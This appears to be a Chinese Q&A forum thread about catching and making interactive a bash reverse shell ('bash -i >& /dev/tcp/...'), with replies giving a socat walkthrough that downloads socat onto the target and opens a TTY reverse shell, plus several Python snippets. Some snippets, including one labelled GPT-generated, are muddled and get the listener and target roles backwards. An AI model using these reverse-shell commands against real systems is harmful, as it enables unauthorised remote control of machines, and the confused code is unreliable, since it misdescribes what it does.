在目标主机上执行:bash -i >& /dev/tcp/192.168.31.5/65533 0>&1
在攻击机上该如何使用python接收到这个shell连接?用socket能接受到,但是无法实现交互
源码:
socket给它发它能执行的东西吧,这个其实不太好弄的就单纯一个socket,他不执行就没啥用
你可以用subprocess.Popen创一个nc子进程,输入命令并将其发送到目标主机以后来接收打印目标主机的响应
https://www.cnblogs.com/pengpp/p/9833349.html
只用python是不行的,需要用pty模块或使用第三方库,如pwntools
python 反弹shell 交互,看下这个教程对你是否有帮助:
python 反弹shell 交互:https://blog.csdn.net/qq_32851223/article/details/127856299
python常用方式实现交互_实现交互式shell
使用socat
socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。缺点也很明显,只能在linux下面运行
使用起来也很简单。攻击机:# 首先安装
$ sudo apt install socat
# 执行
$ socat file:`tty`,raw,echo=0 tcp-listen:4444
目标机# 把socat上传到目标机器上或者直接下载
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 运行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444
这种方式基本和ssh类似,ctrl+C也不会直接断开。
import socket
def send_command(command):
# 创建socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到目标主机的IP和端口
s.connect(('192.168.31.5', 65533))
# 发送命令
s.send(command.encode())
# 接收和显示输出
output = s.recv(4096).decode()
print(output)
# 关闭连接
s.close()
if __name__ == '__main__':
while True:
command = input('$ ')
if command.lower() == 'exit':
break
send_command(command)
可以用socket库创建一个服务器,然后使用subprocess库执行shell 命令并将输出发送回客户端,从而实现交互功能
【以下回答由 GPT 生成】
import socket
import subprocess
def receive_shell():
HOST = '0.0.0.0'
PORT = 65533
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
while True:
command = conn.recv(1024).decode().strip()
if not command:
break
result = subprocess.run(command, shell=True, capture_output=True)
output = result.stdout + result.stderr
conn.sendall(output)
这里是改进后的代码。主要的改动是替换了print(data.decode())
这一行,改为使用subprocess.run()
函数执行接收到的命令,并将结果发送回连接的主机。subprocess.run()
函数能够执行系统命令并获取输出结果。
注意,这个代码片段并没有对接收的命令进行任何过滤或验证,这可能会导致安全问题。在实际使用时,请确保对接收到的命令进行适当的验证和过滤来防止命令注入攻击。
【相关推荐】
import subprocess
def interact_shell():
# 启动反弹shell
shell = subprocess.Popen(["/bin/bash"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while True:
# 获取用户输入
command = input("$ ")
# 发送命令到shell
shell.stdin.write(command.encode())
shell.stdin.flush()
# 读取shell的输出
output = shell.stdout.readline().decode()
# 输出结果
print(output)
# 检查shell是否已经退出
if shell.poll() is not None:
break
interact_shell()
这段代码使用subprocess.Popen启动一个反弹shell,并通过stdin发送命令,通过stdout读取输出。在一个循环中,用户可以输入命令,并将其发送到shell,然后读取输出并打印。循环会一直进行,直到shell退出。
请注意,这只是一个简单的示例代码,可能不适用于所有的情况。在实际使用中,你可能需要根据具体的需求进行修改和扩展,例如处理错误输出、处理特殊命令等。